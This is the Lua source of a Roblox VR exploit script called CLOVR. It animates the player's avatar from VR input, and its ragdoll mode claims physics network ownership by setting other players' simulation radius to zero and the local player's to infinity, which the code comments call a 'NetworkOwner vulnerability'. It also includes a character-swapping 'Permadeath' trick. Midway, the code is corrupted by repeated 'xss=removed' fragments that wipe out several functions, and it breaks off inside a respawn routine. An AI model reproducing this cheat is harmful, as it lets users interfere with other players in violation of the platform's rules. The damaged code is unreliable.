Get the Vr

local StudsOffset = 0.1 -- Character height (negative if you're too high)
local Smoothness = 1 -- Character interpolation (0.1 - 1 = smooth - rigid)

local AnchorCharacter = false -- Prevent physics from causing inconsistencies
local HideCharacter = false -- Hide character on a platform
local NoCollision = false -- Disable player collision

local ChatEnabled = true -- See chat on your left hand in-game
 local ChatLocalRange = 75 -- Local chat range

local ViewportEnabled = true -- View nearby players in a frame
 local ViewportRange = 100 -- Maximum distance players are updated

local RagdollEnabled = true -- Use your character instead of hats (NetworkOwner vulnerability)
 local RagdollHeadMovement = true -- Move your head separately from your body (+9 second wait)

local AutoRun = false -- Run script on respawn
local AutoRespawn = true -- Kill your real body when your virtual body dies

local WearAllAccessories = true -- Use all leftover hats for the head
local AccurateHandPosition = true -- Move your Roblox hands according to your real hands

local AccessorySettings = {
 LeftArm  = "";
 RightArm = "";
 LeftLeg  = "";
 RightLeg = "";
 Torso  = "";
 Head  = true;
 
 BlockArms = true;
 BlockLegs = true;
 BlockTorso = true;
 
 LimbOffset = CFrame.Angles(math.rad(90), 0, 0);
}

local FootPlacementSettings = {
 RightOffset = Vector3.new(.5, 0, 0),
 LeftOffset = Vector3.new(-.5, 0, 0),
}

--|| Script:

local Script = nil;

Script = function()

--[[
 Variables
--]]

local Players = game:GetService("Players")
 local Client = Players.LocalPlayer
  local Character = Client.Character or Client.CharacterAdded:Wait()
   local WeldBase = Character:WaitForChild("HumanoidRootPart")
   local ArmBase = Character:FindFirstChild("RightHand") or Character:FindFirstChild("Right Arm") or WeldBase
  local Backpack = Client:WaitForChild("Backpack")
  local Mouse = Client:GetMouse()

local Camera = workspace.CurrentCamera

local VRService = game:GetService("VRService")
 local VRReady = VRService.VREnabled

local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local HttpService = game:GetService("HttpService")
local StarterGui = game:GetService("StarterGui") 

local HeadAccessories = {};
local UsedAccessories = {};

local Pointer = false;
local Point1 = false;
local Point2 = false;

local VirtualRig = game:GetObjects("rbxassetid://4468539481")[1]
local VirtualBody = game:GetObjects("rbxassetid://4464983829")[1]

local Anchor = Instance.new("Part")

Anchor.Anchored = true
Anchor.Transparency = 1
Anchor.CanCollide = false
Anchor.Parent = workspace

if RagdollEnabled then
 print("RagdollEnabled, thank you for using CLOVR!")
 local NetworkAccess = coroutine.create(function()
settings().Physics.AllowSleep = false
while true do game:GetService("RunService").RenderStepped:Wait()
for _,Players in next, game:GetService("Players"):GetChildren() do
if Players ~= game:GetService("Players").LocalPlayer then
Players.MaximumSimulationRadius = 0.1 Players.SimulationRadius = 0 end end
game:GetService("Players").LocalPlayer.MaximumSimulationRadius = math.pow(math.huge,math.huge)
game:GetService("Players").LocalPlayer.SimulationRadius = math.huge*math.huge end end)
coroutine.resume(NetworkAccess)
end



--[[
 Character Protection
--]]

local CharacterCFrame = WeldBase.CFrame

if not RagdollEnabled then
 Character.Humanoid.AnimationPlayed:Connect(function(Animation)
  Animation:Stop()
 end)
 
 for _, Track in next, Character.Humanoid:GetPlayingAnimationTracks() do
  Track:Stop()
 end
 
 if HideCharacter then
  local Platform = Instance.new("Part")
  
  Platform.Anchored = true
  Platform.Size = Vector3.new(100, 5, 100)
  Platform.CFrame = CFrame.new(0, 10000, 0)
  Platform.Transparency = 1
  Platform.Parent = workspace
  
  Character:MoveTo(Platform.Position + Vector3.new(0, 5, 0))
  
  wait(.5)
 end
 
 if AnchorCharacter then
  for _, Part in pairs(Character:GetChildren()) do
   if Part:IsA("BasePart") then
    Part.Anchored = true
   end
  end
 end
end

--[[
 Functions
--]]

function Tween(Object, Style, Direction, Time, Goal)
    local tweenInfo = TweenInfo.new(Time, Enum.EasingStyle[Style], Enum.EasingDirection[Direction])
    local tween = game:GetService("TweenService"):Create(Object, tweenInfo, Goal)

 tween.Completed:Connect(function()
  tween:Destroy()
 end)
 
    tween:Play()

    return tween
end

local function GetMotorForLimb(Limb)
 for _, Motor in next, Character:GetDescendants() do
  if Motor:IsA("Motor6D") and Motor.Part1 == Limb then
   return Motor
  end
 end
end

local function CreateAlignment(Limb, Part0)
 local Attachment0 = Instance.new("Attachment", Part0 or Anchor)
 local Attachment1 = Instance.new("Attachment", Limb)
 
 local Orientation = Instance.new("AlignOrientation")
 local Position = Instance.new("AlignPosition")
 
 Orientation.Attachment0 = Attachment1
 Orientation.Attachment1 = Attachment0
 Orientation.RigidityEnabled = false
 Orientation.MaxTorque = 20000
 Orientation.Responsiveness = 40
 Orientation.Parent = Character.HumanoidRootPart
 
 Position.Attachment0 = Attachment1
 Position.Attachment1 = Attachment0
 Position.RigidityEnabled = false
 Position.MaxForce = 40000
 Position.Responsiveness = 40
 Position.Parent = Character.HumanoidRootPart
 
 Limb.Massless = false
 
 local Motor = GetMotorForLimb(Limb)
 if Motor then
  Motor:Destroy()
 end
 
 return function(CF, Local)
  if Local then
   Attachment0.CFrame = CF
  else
   Attachment0.WorldCFrame = CF
  end
 end;
end

local function GetExtraTool()
 for _, Tool in next, Character:GetChildren() do
  if Tool:IsA("Tool") and not Tool.Name:match("LIMB_TOOL") then
   return Tool
  end
 end
end

local function GetGripForHandle(Handle)
 for _, Weld in next, Character:GetDescendants() do
  if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
   return Weld
  end
 end
 
 wait(.2)
 
 for _, Weld in next, Character:GetDescendants() do
  if Weld:IsA("Weld") and (Weld.Part0 == Handle or Weld.Part1 == Handle) then
   return Weld
  end
 end
end

local function CreateRightGrip(Handle)
 local RightGrip = Instance.new("Weld")
 
 RightGrip.Name = "RightGrip"
 RightGrip.Part1 = Handle
 RightGrip.Part0 = WeldBase
 RightGrip.Parent = WeldBase
 
 return RightGrip
end

local function CreateAccessory(Accessory, DeleteMeshes)
 if not Accessory then
  return
 end
 
 local HatAttachment = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
 local HeadAttachment = VirtualRig:FindFirstChild(HatAttachment.Name, true)
 local BasePart = HeadAttachment.Parent
 
 local HatAtt = HatAttachment.CFrame
 local HeadAtt = HeadAttachment.CFrame
 
 if DeleteMeshes then
  if Accessory.Handle:FindFirstChild("Mesh") then
   Accessory.Handle.Mesh:Destroy()
  end
 end
 
 wait()
 
 local Handle = Accessory:WaitForChild("Handle")
 
 if Handle:FindFirstChildWhichIsA("Weld", true) then
  Handle:FindFirstChildWhichIsA("Weld", true):Destroy()
  Handle:BreakJoints()
 else
  Handle:BreakJoints()
 end
 
 Handle.Massless = true
 Handle.Transparency = 0.5
 
 UsedAccessories[Accessory] = true
 
 local RightGrip = CreateRightGrip(Handle)
 
 wait()
 
 for _, Object in pairs(Handle:GetDescendants()) do
  if not Object:IsA("BasePart") then
   pcall(function()
    Object.Transparency = 1
   end)
   
   pcall(function()
    Object.Enabled = false
   end)
  end
 end
 
 return Handle, RightGrip, HatAtt, HeadAtt, BasePart;
end

local function GetHeadAccessories()
 for _, Accessory in next, Character:GetChildren() do
  if Accessory:IsA("Accessory") and not UsedAccessories[Accessory] then
   local Handle, RightGrip, HatAtt, HeadAtt, BasePart = CreateAccessory(Accessory)
   
   table.insert(HeadAccessories, {Handle, RightGrip, HatAtt, HeadAtt, BasePart})
   
   do
    Handle.Transparency = 1
   end
   
   if not WearAllAccessories then
    break
   end
  end
 end
end

--[[
 VR Replication Setup
--]]

if not RagdollEnabled then
 LeftHandle, LeftHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftArm), AccessorySettings.BlockArms)
 RightHandle, RightHandGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightArm), AccessorySettings.BlockArms)
 LeftHipHandle, LeftLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.LeftLeg), AccessorySettings.BlockLegs)
 RightHipHandle, RightLegGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.RightLeg), AccessorySettings.BlockLegs)
 TorsoHandle, TorsoGrip = CreateAccessory(Character:FindFirstChild(AccessorySettings.Torso), AccessorySettings.BlockTorso)
 GetHeadAccessories()
 
elseif RagdollEnabled then
 if RagdollHeadMovement then
  Permadeath()
  MoveHead = CreateAlignment(Character["Head"])
 end
 
 MoveRightArm = CreateAlignment(Character["Right Arm"])
 MoveLeftArm = CreateAlignment(Character["Left Arm"])
 MoveRightLeg = CreateAlignment(Character["Right Leg"])
 MoveLeftLeg = CreateAlignment(Character["Left Leg"])
 MoveTorso = CreateAlignment(Character["Torso"])
 MoveRoot = CreateAlignment(Character.HumanoidRootPart)
 
 if RagdollHeadMovement then
  for _, Accessory in next, Character:GetChildren() do
   if Accessory:IsA("Accessory") and Accessory:FindFirstChild("Handle") then
    local Attachment1 = Accessory.Handle:FindFirstChildWhichIsA("Attachment")
    local Attachment0 = Character:FindFirstChild(tostring(Attachment1), true)
    
    local Orientation = Instance.new("AlignOrientation")
    local Position = Instance.new("AlignPosition")
    
    print(Attachment1, Attachment0, Accessory)
    
    Orientation.Attachment0 = Attachment1
    Orientation.Attachment1 = Attachment0
    Orientation.RigidityEnabled = false
    Orientation.ReactionTorqueEnabled = true
    Orientation.MaxTorque = 20000
    Orientation.Responsiveness = 40
    Orientation.Parent = Character.Head
    
    Position.Attachment0 = Attachment1
    Position.Attachment1 = Attachment0
    Position.RigidityEnabled = false
    Position.ReactionForceEnabled = true
    Position.MaxForce = 40000
    Position.Responsiveness = 40
    Position.Parent = Character.Head
   end
  end
 end
end

--[[
 Movement
--]]

VirtualRig.Name = "VirtualRig"
VirtualRig.RightFoot.BodyPosition.Position = CharacterCFrame.p
VirtualRig.LeftFoot.BodyPosition.Position = CharacterCFrame.p
VirtualRig.Parent = workspace
VirtualRig:SetPrimaryPartCFrame(CharacterCFrame)

VirtualRig.Humanoid.Health = 0
VirtualRig:BreakJoints()
--

VirtualBody.Parent = workspace
VirtualBody.Name = "VirtualBody"
VirtualBody.Humanoid.WalkSpeed = 8
VirtualBody.Humanoid.CameraOffset = Vector3.new(0, StudsOffset, 0)
VirtualBody:SetPrimaryPartCFrame(CharacterCFrame)

VirtualBody.Humanoid.Died:Connect(function()
 print("Virtual death")
 if AutoRespawn then
  Character:BreakJoints()
  
  if RagdollHeadMovement and RagdollEnabled then
   Network:Unclaim()
   Respawn()
  end
 end
end)
--

Camera.CameraSubject = VirtualBody.Humanoid

Character.Humanoid.WalkSpeed = 0
Character.Humanoid.JumpPower = 1

for _, Part in next, VirtualBody:GetChildren() do
 if Part:IsA("BasePart") then
  Part.Transparency = 1
 end
end

for _, Part in next, VirtualRig:GetChildren() do
 if Part:IsA("BasePart") then
  Part.Transparency = 1
 end
end

if not VRReady then
 VirtualRig.RightUpperArm.ShoulderConstraint.RigidityEnabled = true
 VirtualRig.LeftUpperArm.ShoulderConstraint.RigidityEnabled = true
end


local OnMoving = RunService.Stepped:Connect(function()
 local Direction = Character.Humanoid.MoveDirection
 local Start = VirtualBody.HumanoidRootPart.Position
 local Point = Start + Direction * 6
 
 VirtualBody.Humanoid:MoveTo(Point)
end)

Character.Humanoid.Jumping:Connect(function()
 VirtualBody.Humanoid.Jump = true
end)

UserInputService.JumpRequest:Connect(function()
 VirtualBody.Humanoid.Jump = true
end)

--[[
 VR Replication
--]]

if RagdollEnabled then
 for _, Part in pairs(Character:GetDescendants()) do
  if Part:IsA("BasePart") and Part.Name == "Handle" and Part.Parent:IsA("Accessory") then
   Part.LocalTransparencyModifier = 1
  elseif Part:IsA("BasePart") and Part.Transparency < 0 xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed xss=removed> 0 then
  MaxDist = .5
 else
  MaxDist = 1
 end
 
 local PastThreshold = (Foot.Position - Target.Position).Magnitude > MaxDist
 local PastTick = tick() - FootUpdateDebounce >= 2
 
 if PastThreshold or PastTick then
  FootUpdateDebounce = tick()
 end
 
 return
  PastThreshold
 or
  PastTick
end

local function FootYield()
 local RightFooting = VirtualRig.RightFoot.BodyPosition
 local LeftFooting = VirtualRig.LeftFoot.BodyPosition
 local LowerTorso = VirtualRig.LowerTorso
 
 local Yield = tick()
 
 repeat
  RunService.Stepped:Wait()
  if
   (LowerTorso.Position - RightFooting.Position).Y > 4
  or
   (LowerTorso.Position - LeftFooting.Position).Y > 4
  or
   ((LowerTorso.Position - RightFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  or
   ((LowerTorso.Position - LeftFooting.Position) * Vector3.new(1, 0, 1)).Magnitude > 4
  then
   break
  end
 until tick() - Yield >= .17
end

local function UpdateFooting()
 if not VirtualRig:FindFirstChild("LowerTorso") then
  wait()
  return
 end
 
 local Floor, FloorPosition, FloorNormal, Dist = FloorRay(VirtualRig.LowerTorso, 3)
 
 Dist = math.clamp(Dist, 0, 5)
 
 local FootTarget = 
  VirtualRig.LowerTorso.CFrame *
  CFrame.new(FootPlacementSettings.RightOffset) -
  Vector3.new(0, Dist, 0) +
  Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
 
 if FootReady(VirtualRig.RightFoot, FootTarget) then
  VirtualRig.RightFoot.BodyPosition.Position = FootTarget.p
  VirtualRig.RightFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
 end
 
 FootYield()
 
 local FootTarget = 
  VirtualRig.LowerTorso.CFrame *
  CFrame.new(FootPlacementSettings.LeftOffset) -
  Vector3.new(0, Dist, 0) +
  Character.Humanoid.MoveDirection * (VirtualBody.Humanoid.WalkSpeed / 8) * 2
 
 if FootReady(VirtualRig.LeftFoot, FootTarget) then
  VirtualRig.LeftFoot.BodyPosition.Position = FootTarget.p
  VirtualRig.LeftFoot.BodyGyro.CFrame = Flatten(VirtualRig.LowerTorso.CFrame)
 end
end

local function UpdateTorsoPosition()
 if not RagdollEnabled then
  if TorsoHandle then
   local Positioning = VirtualRig.UpperTorso.CFrame
   
   if not TorsoGrip or not TorsoGrip.Parent then
    TorsoGrip = CreateRightGrip(TorsoHandle)
   end
   
   local Parent = TorsoGrip.Parent
   
   TorsoGrip.C1 = CFrame.new()
   TorsoGrip.C0 = TorsoGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * CFrame.new(0, -0.25, 0) * AccessorySettings.LimbOffset), Smoothness)
   TorsoGrip.Parent = nil
   TorsoGrip.Parent = Parent
  end
 else
  local Positioning = VirtualRig.UpperTorso.CFrame
  
  MoveTorso(Positioning * CFrame.new(0, -0.25, 0))
  MoveRoot(Positioning * CFrame.new(0, -0.25, 0))
 end
end

local function UpdateLegPosition()
 if not RagdollEnabled then
  if RightHipHandle then
   local Positioning =
    VirtualRig.RightLowerLeg.CFrame
    : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
    + Vector3.new(0, 0.5, 0)
   
   if not RightHipHandle or not RightHipHandle.Parent then
    RightLegGrip = CreateRightGrip(RightHipHandle)
   end
   
   local Parent = RightLegGrip.Parent
   
   RightLegGrip.C1 = CFrame.new()
   RightLegGrip.C0 = RightLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
   RightLegGrip.Parent = nil
   RightLegGrip.Parent = Parent
  end
  
  if LeftHipHandle then
   local Positioning =
    VirtualRig.LeftLowerLeg.CFrame
    : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
    + Vector3.new(0, 0.5, 0)
   
   if not LeftLegGrip or not LeftLegGrip.Parent then
    LeftLegGrip = CreateRightGrip(LeftHipHandle)
   end
   
   local Parent = LeftLegGrip.Parent
   
   LeftLegGrip.C1 = CFrame.new()
   LeftLegGrip.C0 = LeftLegGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(Positioning * AccessorySettings.LimbOffset), Smoothness)
   LeftLegGrip.Parent = nil
   LeftLegGrip.Parent = Parent
  end
 else
  do
   local Positioning =
    VirtualRig.RightLowerLeg.CFrame
    : Lerp(VirtualRig.RightFoot.CFrame, 0.5)
    * CFrame.Angles(0, math.rad(180), 0)
    + Vector3.new(0, 0.5, 0)
   
   MoveRightLeg(Positioning)
  end
  
  do
   local Positioning =
    VirtualRig.LeftLowerLeg.CFrame
    : Lerp(VirtualRig.LeftFoot.CFrame, 0.5)
    * CFrame.Angles(0, math.rad(180), 0)
    + Vector3.new(0, 0.5, 0)
   
   MoveLeftLeg(Positioning)
  end
 end
end

warn("VRReady is", VRReady)

local function OnUserCFrameChanged(UserCFrame, Positioning, IgnoreTorso)
 local Positioning = Camera.CFrame * Positioning
 
 if not IgnoreTorso then
  UpdateTorsoPosition()
  UpdateLegPosition()
 end
 
 if not RagdollEnabled then
  if UserCFrame == Enum.UserCFrame.Head and AccessorySettings.Head then
   for _, Table in next, HeadAccessories do
    local Handle, RightGrip, HatAtt, HeadAtt, BasePart = unpack(Table)
    local LocalPositioning = Positioning
    
    if not RightGrip or not RightGrip.Parent then
     RightGrip = CreateRightGrip(Handle)
     Table[2] = RightGrip
    end
    
    local Parent = RightGrip.Parent
    
    if BasePart then
     LocalPositioning = BasePart.CFrame * HeadAtt
    end
    
    RightGrip.C1 = HatAtt
    RightGrip.C0 = RightGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(LocalPositioning), Smoothness)
    RightGrip.Parent = nil
    RightGrip.Parent = Parent
   end
   
  elseif RightHandle and UserCFrame == Enum.UserCFrame.RightHand and AccessorySettings.RightArm then
   local HandPosition = Positioning
   local LocalPositioning = Positioning
   
   if not RightHandGrip or not RightHandGrip.Parent then
    RightHandGrip = CreateRightGrip(RightHandle)
   end
   
   if AccurateHandPosition then
    HandPosition = HandPosition * CFrame.new(0, 0, 1)
   end
   
   if not VRReady then
    local HeadRotation = Camera.CFrame - Camera.CFrame.p
    
    HandPosition = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
    
    --LocalPositioning = (HeadRotation + (HandPosition * CFrame.new(0, 0, 1)).p) * CFrame.Angles(math.rad(-45), 0, 0)
    LocalPositioning = HandPosition * CFrame.new(0, 0, 1) * CFrame.Angles(math.rad(-180), 0, 0)
    
    if Point2 then
     VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
     VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
    elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
     VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
    end
   elseif AccurateHandPosition then
    LocalPositioning = HandPosition
   end
   
   local Parent = RightHandGrip.Parent
   
   RightHandGrip.C1 = CFrame.new()
   RightHandGrip.C0 = RightHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
   RightHandGrip.Parent = nil
   RightHandGrip.Parent = Parent
   
   --
   
   local EquippedTool = GetExtraTool()
   
   if EquippedTool and EquippedTool:FindFirstChild("Handle") then
    local EquippedGrip = GetGripForHandle(EquippedTool.Handle)
    local Parent = EquippedGrip.Parent
    
    local ArmBaseCFrame = ArmBase.CFrame
    if ArmBase.Name == "Right Arm" then
     ArmBaseCFrame = ArmBaseCFrame
    end
    
    EquippedGrip.C1 = EquippedTool.Grip
    EquippedGrip.C0 = EquippedGrip.C0:Lerp(ArmBaseCFrame:ToObjectSpace(LocalPositioning), Smoothness)
    EquippedGrip.Parent = nil
    EquippedGrip.Parent = Parent
   end
   
  elseif LeftHandle and UserCFrame == Enum.UserCFrame.LeftHand and AccessorySettings.LeftArm then
   local HandPosition = Positioning
   
   if not LeftHandGrip or not LeftHandGrip.Parent then
    LeftHandGrip = CreateRightGrip(LeftHandle)
   end
   
   if AccurateHandPosition then
    HandPosition = HandPosition * CFrame.new(0, 0, 1)
   end
   
   if not VRReady then
    HandPosition = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5) * AccessorySettings.LimbOffset
    --warn("Setting HandPosition to hands")
    if Point1 then
     VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
     VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
    elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
     VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
    end
   end
   
   local Parent = LeftHandGrip.Parent
   
   LeftHandGrip.C1 = CFrame.new()
   LeftHandGrip.C0 = LeftHandGrip.C0:Lerp(WeldBase.CFrame:ToObjectSpace(HandPosition), Smoothness)
   LeftHandGrip.Parent = nil
   LeftHandGrip.Parent = Parent
   
  end
 end
 
 if RagdollEnabled then
  if UserCFrame == Enum.UserCFrame.Head and RagdollHeadMovement then
   MoveHead(Positioning)
  elseif UserCFrame == Enum.UserCFrame.RightHand then
   local Positioning = Positioning
   
   if not VRReady then
    Positioning = VirtualRig.RightUpperArm.CFrame:Lerp(VirtualRig.RightLowerArm.CFrame, 0.5)
   elseif AccurateHandPosition then
    Positioning = Positioning * CFrame.new(0, 0, 1)
   end
   
   if VRReady then
    Positioning = Positioning * AccessorySettings.LimbOffset
   end
   
   MoveRightArm(Positioning)
   
   if Point2 then
    VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
    VirtualRig.RightUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
   elseif VirtualRig.RightUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
    VirtualRig.RightUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
   end
  elseif UserCFrame == Enum.UserCFrame.LeftHand then
   local Positioning = Positioning
   
   if not VRReady then
    Positioning = VirtualRig.LeftUpperArm.CFrame:Lerp(VirtualRig.LeftLowerArm.CFrame, 0.5)
   elseif AccurateHandPosition then
    Positioning = Positioning * CFrame.new(0, 0, 1)
   end
   
   if VRReady then
    Positioning = Positioning * AccessorySettings.LimbOffset
   end
   
   MoveLeftArm(Positioning)
   
   if Point1 then
    VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(math.huge, math.huge, math.huge)
    VirtualRig.LeftUpperArm.Aim.CFrame = Camera.CFrame * AccessorySettings.LimbOffset
   elseif VirtualRig.LeftUpperArm.Aim.MaxTorque ~= Vector3.new(0, 0, 0) then
    VirtualRig.LeftUpperArm.Aim.MaxTorque = Vector3.new(0, 0, 0)
   end
  end
 end
 
 if UserCFrame == Enum.UserCFrame.Head then
  VirtualRig.Head.CFrame = Positioning
  
 elseif UserCFrame == Enum.UserCFrame.RightHand and VRReady then
  VirtualRig.RightHand.CFrame = Positioning
  
 elseif UserCFrame == Enum.UserCFrame.LeftHand and VRReady then
  VirtualRig.LeftHand.CFrame = Positioning
  
 end
 
 if not VRReady and VirtualRig.LeftHand.Anchored then
  VirtualRig.RightHand.Anchored = false
  VirtualRig.LeftHand.Anchored = false
 elseif VRReady and not VirtualRig.LeftHand.Anchored then
  VirtualRig.RightHand.Anchored = true
  VirtualRig.LeftHand.Anchored = true
 end
end

local CFrameChanged = VRService.UserCFrameChanged:Connect(OnUserCFrameChanged)

local OnStepped = RunService.Stepped:Connect(function()
 for _, Part in pairs(VirtualRig:GetChildren()) do
  if Part:IsA("BasePart") then
   Part.CanCollide = false
  end
 end
 
 if RagdollEnabled then
  for _, Part in pairs(Character:GetChildren()) do
   if Part:IsA("BasePart") then
    Part.CanCollide = false
   end
  end
 end
 
 if NoCollision then
  for _, Player in pairs(Players:GetPlayers()) do
   if Player ~= Client and Player.Character then
    local Descendants = Player.Character:GetDescendants()
    for i = 1, #Descendants do
     local Part = Descendants[i]
     if Part:IsA("BasePart") then
      Part.CanCollide = false
      Part.Velocity = Vector3.new()
      Part.RotVelocity = Vector3.new()
     end
    end
   end
  end
 end
end)

local OnRenderStepped = RunService.Stepped:Connect(function()
 Camera.CameraSubject = VirtualBody.Humanoid
 
 if RagdollEnabled then
  Character.HumanoidRootPart.CFrame = VirtualRig.UpperTorso.CFrame
  Character.HumanoidRootPart.Velocity = Vector3.new(0, 0, 0)
 end
 
 if not VRReady then
  OnUserCFrameChanged(Enum.UserCFrame.Head, CFrame.new(0, 0, 0))
  
  OnUserCFrameChanged(Enum.UserCFrame.RightHand, CFrame.new(0, 0, 0), true)
  OnUserCFrameChanged(Enum.UserCFrame.LeftHand, CFrame.new(0, 0, 0), true)
 end
end)

spawn(function()
 while Character and Character.Parent do
  FootYield()
  UpdateFooting()
 end
end)

--[[
 Non-VR Support + VR Mechanics
--]]

local OnInput = UserInputService.InputBegan:Connect(function(Input, Processed)
 if not Processed then
  if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
   Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
    CameraOffset = Vector3.new(0, StudsOffset - 1.5, 0)
   })
  end
 
  if Input.KeyCode == Enum.KeyCode.X then
   if RagdollEnabled and RagdollHeadMovement then
    Network:Unclaim()
    Respawn()
   end
  end
  
  if Input.KeyCode == Enum.KeyCode.C then
   VirtualBody:MoveTo(Mouse.Hit.p)
   VirtualRig:MoveTo(Mouse.Hit.p)
  end
 end
  
 if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
   WalkSpeed = 16
  })
 end
 
 if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  Point1 = true
 end
 
 if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  Point2 = true
 end
 
 if VRReady and Input.KeyCode == Enum.KeyCode.ButtonY then
  Character:BreakJoints()
  
  if RagdollEnabled and RagdollHeadMovement then
   Network:Unclaim()
   Respawn()
  end
 end
end)

local OnInputEnded = UserInputService.InputEnded:Connect(function(Input, Processed)
 if not Processed then
  if Input.KeyCode == Enum.KeyCode.LeftControl or Input.KeyCode == Enum.KeyCode.ButtonL2 then
   Tween(VirtualBody.Humanoid, "Elastic", "Out", 1, {
    CameraOffset = Vector3.new(0, StudsOffset, 0)
   })
  end
 end
  
 if Input.KeyCode == Enum.KeyCode.LeftShift or Input.KeyCode == Enum.KeyCode.ButtonR2 then
  Tween(VirtualBody.Humanoid, "Sine", "Out", 1, {
   WalkSpeed = 8
  })
 end
 
 if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton1 then
  Point1 = false
 end
 
 if not VRReady and Input.UserInputType == Enum.UserInputType.MouseButton2 then
  Point2 = false
 end
end)

--[[
 Proper Cleanup
--]]

local OnReset

OnReset = Client.CharacterAdded:Connect(function()
 OnReset:Disconnect();
 CFrameChanged:Disconnect();
 OnStepped:Disconnect();
 OnRenderStepped:Disconnect();
 OnMoving:Disconnect();
 OnInput:Disconnect();
 OnInputEnded:Disconnect();
 
 VirtualRig:Destroy();
 VirtualBody:Destroy();
 
 if RagdollEnabled then
  Network:Unclaim();
 end
 
 if AutoRun then
  delay(2, function()
   Script()
  end)
 end
end)

if ChatEnabled then
 spawn(ChatHUDFunc)
end

if ViewportEnabled then
 spawn(ViewHUDFunc)
end

do
 --[[
  Functions
 --]]
 
 local Players = game:GetService("Players")
  local Client = Players.LocalPlayer
 
 local VRService = game:GetService("VRService")
  local VRReady = VRService.VREnabled
 
 local UserInputService = game:GetService("UserInputService")
 local RunService = game:GetService("RunService")
 
 local Camera = workspace.CurrentCamera
 
 --[[
  Code
 --]]
 
 if VRReady then
  local Pointer = game:GetObjects("rbxassetid://4476173280")[1]
  
  Pointer.Parent = workspace
  Pointer.Beam.Enabled = false
  Pointer.Target.ParticleEmitter.Enabled = false
  
  local RenderStepped = RunService.RenderStepped:Connect(function()
   if Pointer.Beam.Enabled then
    local RightHand = Camera.CFrame * VRService:GetUserCFrame(Enum.UserCFrame.RightHand)
    local Target = RightHand * CFrame.new(0, 0, -10)
    
    local Line = Ray.new(RightHand.p, (Target.p - RightHand.p).Unit * 128)
    local Part, Position = workspace:FindPartOnRayWithIgnoreList(Line, {VirtualRig, VirtualBody, Character, Pointer})
    
    local Distance = (Position - RightHand.p).Magnitude
    
    Pointer.Target.Position = Vector3.new(0, 0, -Distance)
    Pointer.CFrame = RightHand
   end
  end)
  
  local Input = UserInputService.InputBegan:Connect(function(Input)
   if Input.KeyCode == Enum.KeyCode.ButtonB then
    Pointer.Beam.Enabled = not Pointer.Beam.Enabled
    Pointer.Target.ParticleEmitter.Enabled = not Pointer.Target.ParticleEmitter.Enabled
   end
  end)
  
  --
  
  local CharacterAdded
  
  CharacterAdded = Client.CharacterAdded:Connect(function()
   RenderStepped:Disconnect()
   Input:Disconnect()
   CharacterAdded:Disconnect()
   
   Pointer:Destroy()
   Pointer = nil
  end)
 else
  return
 end
end

end;

Permadeath = function()
 local ch = game.Players.LocalPlayer.Character
 local prt=Instance.new("Model", workspace)
 local z1 =  Instance.new("Part", prt)
 z1.Name="Torso"
 z1.CanCollide = false
 z1.Anchored = true
 local z2  =Instance.new("Part", prt)
 z2.Name="Head"
 z2.Anchored = true
 z2.CanCollide = false
 local z3 =Instance.new("Humanoid", prt)
 z3.Name="Humanoid"
 z1.Position = Vector3.new(0,9999,0)
 z2.Position = Vector3.new(0,9991,0)
 game.Players.LocalPlayer.Character=prt
 wait(5)
 warn("50%")
 game.Players.LocalPlayer.Character=ch
 wait(6)
 warn("100%")
end;

Respawn = function()
 local ch = game.Players.LocalPlayer.Character
 
 local prt=Instance.new("Model", workspace)
 local z1 =  Instance.new("Part", prt)
 z1.Name="Torso"
 z1.CanCollide = false
 z1.Anchored = true
 local z2  =Instance.new("Part", prt)
 z2.Name="Head"
 z2.Anchored = true
 z2.CanCollide = false
